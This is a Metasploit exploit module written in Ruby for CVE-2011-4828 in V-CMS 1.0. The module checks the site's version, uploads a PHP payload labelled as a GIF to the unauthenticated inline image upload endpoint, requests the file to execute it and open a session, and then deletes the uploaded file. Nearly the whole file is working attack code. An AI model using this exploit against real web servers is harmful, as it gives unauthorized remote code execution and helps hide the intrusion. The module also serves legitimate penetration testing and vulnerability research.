##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "V-CMS PHP File Upload and Execute",
'Description' => %q{
This module exploits a vulnerability found on V-CMS's inline image upload feature.
The problem is due to the inline_image_upload.php file not checking the file type
before saving it on the web server. This allows any malicious user to upload a
script (such as PHP) without authentication, and then execute it with a GET request.
The issue is fixed in 1.1 by checking the extension name. By default, 1.1 only
allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
one of those extension names, which may still be leveraged in an attack.
},
'License' => MSF_LICENSE,
'Author' =>
[
'AutoSec Tools', #Initial discovery
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2011-4828'],
['BID', '50706'],
['URL', 'http://bugs.v-cms.org/view.php?id=53'],
['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['V-CMS 1.0', {}],
],
'Privileged' => false,
'DisclosureDate' => "Nov 27 2011", #When the ticket was created
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms/'])
], self.class)
end
def check
res = send_request_raw({
'uri' => target_uri.path,
'method' => 'GET'
})
if res and res.body =~ /V\-CMS v1\.[0-1]/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm(@payload_name)
else
client.shell_command_token("rm #{@payload_name}")
end
end
def exploit
peer = "#{rhost}:#{rport}"
base = target_uri.path
base << '/' if base[-1,1] != '/'
@payload_name = "#{rand_text_alpha(5)}.php"
p = %Q|<?php
#{payload.encoded}
?>
|
p = p.gsub(/^\t\t/, '')
post_data = "------x\r\n"
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
post_data << "Content-Type: image/gif\r\n"
post_data << "\r\n"
post_data << p
post_data << "------x--\r\n"
print_status("#{peer} Uploading payload: #{@payload_name}")
res = send_request_cgi({
'uri' => "#{base}includes/inline_image_upload.php",
'method' => 'POST',
'ctype' => 'multipart/form-data; boundary=----x',
'data' => post_data
})
if res
print_status("#{peer} replies status: #{res.code.to_s}")
else
print_error("#{peer} No response from server. Will not continue")
return
end
print_status("#{peer} Executing payload: #{@payload_name}")
res = send_request_raw({
'uri' => "#{base}temp/#{@payload_name}",
'method' => 'GET'
})
if res and res.code == 404
print_error("#{peer} 404 - the upload probably failed")
return
end
handler
end
end
